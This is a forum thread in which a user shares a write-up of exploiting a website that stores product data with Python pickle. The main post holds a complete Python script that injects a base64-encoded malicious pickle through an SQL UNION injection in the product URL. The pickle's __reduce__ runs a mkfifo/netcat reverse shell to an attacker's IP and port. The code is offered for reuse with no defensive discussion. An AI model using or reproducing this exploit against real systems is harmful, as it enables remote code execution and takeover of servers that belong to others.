Python Pickle Module Exploitation

  • Thread starter VortexXxGhost
  • Start date
  • Tagged users None
VortexXxGhost

VortexXxGhost

Golden Member
Joined
April 10, 2024
Messages
135
Reaction score
1,792
Points
93
  • Thread Author
  • #1
That's how I exploited a website that was using python pickle and pickletools modules.
I wrote this writeup a long time ago and I am now sharing it with you.

The website provides 4 store items which can be visited from address/view/product where product is a number from 1 to 4. These 4 items are saved and read in and from the database using the python module “pickle”.


It is possible to create a python object and inject it with pickle to open a reverse shell on the machine:

Code:
import pickle
import pickletools
import base64
import requests

class Payload:
def __reduce__(self):
import os
cmd = ("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f| /bin/sh -i 2>&1 | nc ip port >/tmp/f") #remote ip and port to open the reverse shell
return os.system, (cmd,)

pickled = pickle.dumps(Payload())
pickletools.dis(pickled)
p64 = base64.b64encode(pickled).decode()

ip,port = #ip and port
conn = requests.Session()

exploit = "' UNION SELECT '%s' -- "%p64

a = requests.utils.requote_uri(exploit)
url = "http://%s:%d/view/%s"%(ip,port,a)
resp = conn.get(url,allow_redirects=True)

conn.close()
 
A

applesscent

Advanced Member
Joined
June 18, 2026
Messages
369
Reaction score
4
Points
18
  • #2
Thank you.
 

Similar threads

  • Tags
    exploitation module pickle python security
  • Top